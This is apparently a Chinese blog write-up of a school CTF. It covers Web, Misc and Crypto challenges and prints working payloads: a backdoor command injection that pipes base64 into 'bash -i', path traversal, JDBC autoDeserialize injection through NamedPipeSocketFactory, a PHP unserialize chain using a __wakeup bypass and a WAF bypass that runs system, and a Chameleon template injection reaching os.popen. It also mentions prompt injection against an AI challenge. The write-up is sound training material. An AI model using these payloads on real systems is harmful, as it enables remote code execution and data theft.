这篇算是校赛回顾吧,题目很有意思…Web做得头大。。。
[Web] Texas Hold’em
发现日志读取接口存在存在路径穿越(/read?name=../../../etc/passwd),使用../../../app/app.jar下载程序。
jadx分析发现后门端口(/api/game/evalTest),但java的runtime无法使用重定向符号,采用管道符base64。这里有个很好用的工具,在这里(https://sec.lintstar.top/Java-shell.html)。那么直接将flag写入/tmp/a,然后读取就可以啦:

http://ctf.a1natas.com:29678/api/game/evalTest?cmd=bash%20-c%20%7Becho%2CY2F0IC9mbGFnXzJiZGY5YzI5MjA5ODg4M2IzOGVhNzM2YzkxNDBiNGY0ID4gL3RtcC9h%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D[Web] Ghost poker
这题是上一题的升级版,没有后门接口了,日志接口的目录穿越也没了。不过这个名字就很有来头,联想到Ghost Bytes,使用中文编码值绕过过滤,下载到jar包。
找了个exp,嗯就用这个吧:阮阮丯阮阮丯阮阮丯乡奰奰丯乡奰奰阮陪乡乲,解码后是../../../app/app.jar
jadx分析一下,和原题有几处不同。多了jdbc
@GetMapping({"/api/game/databaseTest"})public String databasetest(@RequestParam(value = "url", required = false) String url, @RequestParam(value = "user", required = false) String username, @RequestParam(value = "pass", required = false) String pass, @RequestParam(value = "dbname", required = false) String dbname) throws SQLException, ClassNotFoundException { if (isBlank(url) || isBlank(username) || isBlank(pass) || isBlank(dbname)) { return "Something is Wrong? Missing required parameter"; } List<String> forbidden = Arrays.asList(PropertyDefinitions.PNAME_autoDeserialize, PropertyDefinitions.PNAME_allowLoadLocalInfile, PropertyDefinitions.PNAME_socketFactory, PropertyDefinitions.NAMED_PIPE_PROP_NAME, PropertyDefinitions.PNAME_allowUrlInLocalInfile, "statementInterceptors"); List<String> configs = Arrays.asList(url, username, pass, dbname); for (String config : configs) { for (String f : forbidden) { if (config.toLowerCase().contains(f.toLowerCase())) { throw new IllegalArgumentException("Forbidden option: " + f); } } } String jdbcurl = "jdbc:mysql://" + url + "/" + dbname + "?allowPublicKeyRetrieval=false&useSSL=false&autoDeserialize=false&allowLoadLocalInfile=false&user=" + username + "&password=" + pass; if (this.scoreFileService.Database_Test(jdbcurl)) { return "TestPass!"; } return "Oh! wrong!";}
容器不出网!常规的JDBC打法都是连接FakeServer进行反序列化RCE,或者读文件,或者SSRF。这题明确需要RCE,而且autoDeserialize还是false。不过搜到了JDBC不出网的打法,即通过socketFactory传入流量包文件。文章原文在这里:https://xz.aliyun.com/news/17830。
也就是说,需要真实抓一次数据包。这篇文章提到的方法是用WireShark,这干扰有点大啊,很难抓干净。复现时学长丢给我这个项目:https://github.com/AsaL1n/Jdbc2bin,代理MySql端口并且捕获流量。
本地用CC3.2.1测试一下,结果如图,注意观察url的host和port,都是xxx:
题目的/api/game/submit接口可以上传任意文件,那还有个问题,jdbcurl参数怎么办?
String jdbcurl = "jdbc:mysql://" + url + "/" + dbname + "?allowPublicKeyRetrieval=false&useSSL=false&autoDeserialize=false&allowLoadLocalInfile=false&user=" + username + "&password=" + pass;既然是拼接,那pass参数就可能可以覆盖前面的参数。有一个input.toLowerCase().contains(keyword)的过滤,但可以用URL编码绕过。尝试给pass传入(这个不对,还是不行,一会ping一下学长…)x&auto%44eserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&socket%46actory=com.mysql.cj.protocol.Named%50ipe%53ocket%46actory&named%50ipe%50ath=files/history/{sha256}.json
通的是通的啊,傻逼Hackbar自动解码。
x&auto%44eserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&socket%46actory=com.mysql.cj.protocol.Named%50ipe%53ocket%46actory&named%50ipe%50ath=/Users/chao/Downloads/namedpipe_payload.bin
aa%26aut%256fDeserialize%3dtrue%26queryInterceptors%3dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26socketFactory=com.mysql.cj.protocol.NamedPipe%2553ocketFactory%26namedPipePath=/Users/chao/Downloads/namedpipe_payload.bin
aa&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory&namedPipePath=/Users/chao/Downloads/namedpipe_payload.bin
靶机走低版本JK链就可以通。
[Web] tarot_site
分析前端逻辑
const mirror = (box) => { if (Array.isArray(box)) return box.map(it => typeof it === "string" ? it : (it && it.id)).filter(Boolean); if (box && Array.isArray(box.ids)) return box.ids.map(it => typeof it === "string" ? it : (it && it.id)).filter(Boolean); if (box && typeof box.id === "string") return [box.id]; return []; }; const gate = (ids, token) => token === ((document.title.length ^ ids.length) ^ 19); const hasCore = ids => ids.some(id => id === `M-${[1,9].join("")}`); const reveal = async (ids, token) => {
const res = await fetch("./api/orrery.php", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ ids, token }) }); const data = await res.json().catch(() => ({})); alert(data.flag);
}; const api = {}; Object.defineProperty(api, ["se","tt","le"].join(""), { value(box, token){ const ids = mirror(box); if (!ids.length || !gate(ids, token) || !hasCore(ids)) return false; reveal(ids, token); return true; }, enumerable: false }); return Object.freeze(api); })();
Object.defineProperty(window, "__orrery", { value: __orrery, writable: false, configurable: false, enumerable: false });这题居然卡了半个小时😭打断点调试 或者 控制台手动跑一下,结果手动发包怎么都不对,最后才发现ids是数组..:
{"ids":["M-19"],"token":28}flag{I_4m_my_#wN_sUn}[Web] Ex-otogibanashi
前两关存在非预期,可以直接跳过。一个简单的反序列化。ban了一些函数,不过字符串拼接就可以过。PHP版本是5.5,低版本在字符串拼接和动态函数调用确实不太一样。还有就是parse_str函数从php 8.0开始必须传入数组了。低版本可以直接创建变量来覆盖链条逻辑。
<?php
error_reporting(0);
class hachiyo { public $hito;
public function __wakeup() { echo "return to 8000 years ago,again.\n"; $this->hito = null; }
public function __destruct() { if ($this->hito instanceof iroha) { $this->hito->run(); } }}
class iroha { private $dream;
public function __construct() { $this->dream = new kaguya(); }
public function run() { $this->dream->execute(); }}
class kaguya { public $kotoba; public $leave; public $return;
private function waf($code) { $code = strtolower($code); $code = preg_replace('/\s+/', '', $code);
$deny = array( 'flag', 'system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open', 'proc_get_status', 'proc_terminate', 'pcntl_exec', 'assert', 'eval', 'include', 'include_once', 'require', 'require_once', 'readfile', 'file_get_contents', 'file_put_contents', 'fopen', 'fclose', 'fread', 'fwrite', 'highlight_file', 'show_source', 'scandir', 'glob', 'opendir', 'readdir', 'unlink', 'rename', 'copy', 'touch', 'chmod', 'chown', 'base64_decode', 'gzuncompress', 'str_rot13', 'phpinfo', 'curl_exec', 'curl_multi_exec', 'data://', 'php://', 'phar://', '`' );
foreach ($deny as $word) { if (strpos($code, $word) !== false) { return false; } }
if (preg_match('/[{}\\[\\]<>\\$]/', $code)) { return false; }
return true; }
public function execute() { if (md5($this->leave) == md5($this->return) && $this->leave != $this->return) { if (!$this->waf($this->kotoba)) { die("I will be your side,maybe. \n"); } eval($this->kotoba); echo "<br>"; echo "True Happy Ending.CONGRATCULATIONS!\n"; } else { die("I wish i can be your side.\n"); } }}
if (isset($_POST['data'])) { $data = $_POST['data'];
if (strlen($data) > 200) { die("too long"); }
unserialize($data);} else { highlight_file(__FILE__);}有private变量,自己处理%00往往是会出事的,考虑直接用__construct来构建链条。绕过__wakeup是那个常见的cve,把第一个class的数量改成超过实际数量即可,这里2就行。
但是调了非常非常久啊,我看隔壁PWN手都出了,直接触发能通,本地的server就是不行。一直是这样啊😭
Notice: unserialize(): Unexpected end of serialized data in /Users/chao/ctf/ZJNU/WEB/Ex-otogibanashi/index.php on line 123
Notice: unserialize(): Error at offset 191 of 192 bytes in /Users/chao/ctf/ZJNU/WEB/Ex-otogibanashi/index.php on line 123然后靶机试了一下居然通了(?)好奇怪,好奇怪,未解之谜。。。
exp:
<?php
class hachiyo { public $hito;
public function __construct() { $this->hito = new iroha(); }}
class iroha { private $dream;
public function __construct() { $this->dream = new kaguya(); }}
class kaguya { public $kotoba; public $leave; public $return;
public function __construct() { $this->leave = "240610708"; $this->return = "QNKCDZO"; $this->kotoba = "call_user_func('syst'.'em', 'cat /fl*');"; }}
$a = new hachiyo();
echo urlencode(serialize($a));
unserialize(serialize($a));不一定要用call_user_func绕过,异或也可以。举个例子:
$a = ('!'^'@').'ssert';$a('php'.'info();');[MISC] superlative render
Pyramid最原生的模板是Chameleon,看文档发现可以内联写python表达式,构造reduce_ex链,通过getattribue绕过waf。
<div> <?python out = [].__reduce_ex__(2)[0].__getattribute__('__glo'+'bals__')['__built''ins__']['__imp''ort__']('os').__getattribute__('po'+'pen')('cat /flag').read() ?> ${out}</div>[MISC] 可爱的亚托莉
AI题,好感度高到一定程度自己会出。据说接的是GPT-5.4,常规的提示词注入估计行不通。
[Crypto] Railfence
c:fgoywlvfd}l{poiheua@aheulaany@hint:dGhlIHJhaWxmZW5jZSBjaXBoZXI6IDM=hint是the railfence cipher: 3
把文本按3行排布后再按行读出,稍有不同,但组合一下也能猜出来:
flag{hopeyouwillhaveafunday}如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









